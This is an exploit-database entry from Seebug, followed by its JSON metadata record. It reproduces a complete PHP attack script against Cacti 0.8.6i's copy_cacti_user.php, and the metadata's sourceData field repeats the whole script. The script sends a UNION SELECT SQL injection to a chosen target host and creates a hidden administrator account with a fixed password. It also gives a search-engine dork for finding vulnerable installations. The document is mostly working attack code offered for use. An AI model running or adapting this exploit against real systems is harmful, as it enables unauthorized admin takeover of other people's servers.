ID SSV:5927 Type seebug Reporter Root Modified 2006-12-31T00:00:00
Description
No description provided by source.
<?php
print_r('
---------------------------------------------------------------------------
Cacti 0.8.6i "copy_cacti_user.php" sql injection create new admin exploit
by rgod
dork: intitle:"login to cacti"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to Cacti
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /cacti/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/*
vulnerable script:
...
if (! isset($_SERVER["argv"][0])) {
die("This script is only meant to run at the command line.\n");
}
if (empty($_SERVER["argv"][2])) {
die("\nSyntax:\n php copy_cacti_user.php <template user> <new user>\n\n");
}
$no_http_headers = true;
include(dirname(__FILE__) . "/include/config.php");
include_once($config["base_path"] . "/lib/auth.php");
$template_user = $_SERVER["argv"][1];
$new_user = $_SERVER["argv"][2];
print "Cacti User Copy Utility\n";
print "Template User: " . $template_user . "\n";
print "New User: " . $new_user . "\n";
$user_auth = db_fetch_row("select * from user_auth where username = '$template_user'");
if (! isset($user_auth)) {
die("Error: Template user does not exist!\n\n");
}
print "\nCopying User...\n";
@user_copy($template_user, $new_user);
$user_auth = db_fetch_row("select * from user_auth where username = '$new_user'");
if (! isset($user_auth)) {
die("Error: User not copied!\n\n");
}
print "User copied...\n";
...
if register_argc_argv = on you can run the script and inject sql commands in $template_user argument
(magic_quotes_gpc is not applied to _SERVER array... )
this exploit creates a new admin user with username suntzu and password suntzu
you will set your own password (I left the 'force password change' option on
*/
$sql="111111111'/**/UNION/**/SELECT/**/1,'admin','".md5("suntzu")."',0,'Administrator','on','on','on','on','on',1,1,1,1,1/*";
$packet ="GET ".$p."copy_cacti_user.php?1+$sql+suntzu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("User copied",$html)){
echo "exploit succeeded...";
}
elseif (eregi("user does not exist",$html)){
echo "query error...";
}
elseif (eregi("only meant to run at the command line",$html)){
echo "register_argc_argv = off here, exploit failed...";
}
?>
{"href": "https://www.seebug.org/vuldb/ssvid-5927", "status": "poc", "bulletinFamily": "exploit", "modified": "2006-12-31T00:00:00", "title": "Cacti 0.8.6i (copy_cacti_user.php) SQL Injection Create Admin Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-5927", "cvelist": [], "description": "No description provided by source.", "viewCount": 20, "published": "2006-12-31T00:00:00", "sourceData": "\n <?php\r\nprint_r('\r\n---------------------------------------------------------------------------\r\nCacti 0.8.6i "copy_cacti_user.php" sql injection create new admin exploit\r\nby rgod\r\ndork: intitle:"login to cacti"\r\nmail: retrog at alice dot it\r\nsite: http://retrogod.altervista.org\r\n---------------------------------------------------------------------------\r\n');\r\n\r\nif ($argc<3) {\r\n print_r('\r\n---------------------------------------------------------------------------\r\nUsage: php '.$argv[0].' host path OPTIONS\r\nhost: target server (ip/hostname)\r\npath: path to Cacti\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp '.$argv[0].' localhost /cacti/ -P1.1.1.1:80\r\nphp '.$argv[0].' localhost / -p81\r\n---------------------------------------------------------------------------\r\n');\r\n die;\r\n}\r\nerror_reporting(0);\r\nini_set("max_execution_time",0);\r\nini_set("default_socket_timeout",5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=" .";}\r\n else\r\n {$result.=" ".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=" ".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=" 0".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.="\\r\\n"; $exa.="\\r\\n";}\r\n }\r\n return $exa."\\r\\n".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\n\r\nfunction sendpacketii($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\\r\\n";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n}\r\n\r\n$host=$argv[1];\r\n$path=$argv[2];\r\n$port=80;\r\n$proxy="";\r\n\r\nfor ($i=3; $i<$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif ($temp=="-p")\r\n{\r\n $port=str_replace("-p","",$argv[$i]);\r\n}\r\nif ($temp=="-P")\r\n{\r\n $proxy=str_replace("-P","",$argv[$i]);\r\n}\r\n}\r\nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\r\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\r\n\r\n/*\r\nvulnerable script:\r\n...\r\nif (! isset($_SERVER["argv"][0])) {\r\n\tdie("This script is only meant to run at the command line.\\n");\r\n}\r\nif (empty($_SERVER["argv"][2])) {\r\n\tdie("\\nSyntax:\\n php copy_cacti_user.php <template user> <new user>\\n\\n");\r\n}\r\n\r\n$no_http_headers = true;\r\n\r\ninclude(dirname(__FILE__) . "/include/config.php");\r\ninclude_once($config["base_path"] . "/lib/auth.php");\r\n\r\n$template_user = $_SERVER["argv"][1];\r\n$new_user = $_SERVER["argv"][2];\r\n\r\nprint "Cacti User Copy Utility\\n";\r\nprint "Template User: " . $template_user . "\\n";\r\nprint "New User: " . $new_user . "\\n";\r\n\r\n$user_auth = db_fetch_row("select * from user_auth where username = '$template_user'");\r\nif (! isset($user_auth)) {\r\n\tdie("Error: Template user does not exist!\\n\\n");\r\n}\r\n\r\nprint "\\nCopying User...\\n";\r\n\r\n@user_copy($template_user, $new_user);\r\n\r\n$user_auth = db_fetch_row("select * from user_auth where username = '$new_user'");\r\nif (! isset($user_auth)) {\r\n\tdie("Error: User not copied!\\n\\n");\r\n}\r\n\r\nprint "User copied...\\n";\r\n...\r\n\r\nif register_argc_argv = on you can run the script and inject sql commands in $template_user argument\r\n(magic_quotes_gpc is not applied to _SERVER array... )\r\n\r\nthis exploit creates a new admin user with username suntzu and password suntzu\r\nyou will set your own password (I left the 'force password change' option on\r\n*/\r\n\r\n$sql="111111111'/**/UNION/**/SELECT/**/1,'admin','".md5("suntzu")."',0,'Administrator','on','on','on','on','on',1,1,1,1,1/*";\r\n$packet ="GET ".$p."copy_cacti_user.php?1+$sql+suntzu HTTP/1.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsendpacketii($packet);\r\nif (eregi("User copied",$html)){\r\n echo "exploit succeeded...";\r\n}\r\nelseif (eregi("user does not exist",$html)){\r\n echo "query error...";\r\n}\r\nelseif (eregi("only meant to run at the command line",$html)){\r\n echo "register_argc_argv = off here, exploit failed...";\r\n}\r\n?>\n ", "id": "SSV:5927", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T22:14:36", "reporter": "Root", "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2017-11-19T22:14:36", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T22:14:36", "rev": 2}, "vulnersScore": 0.5}, "references": []}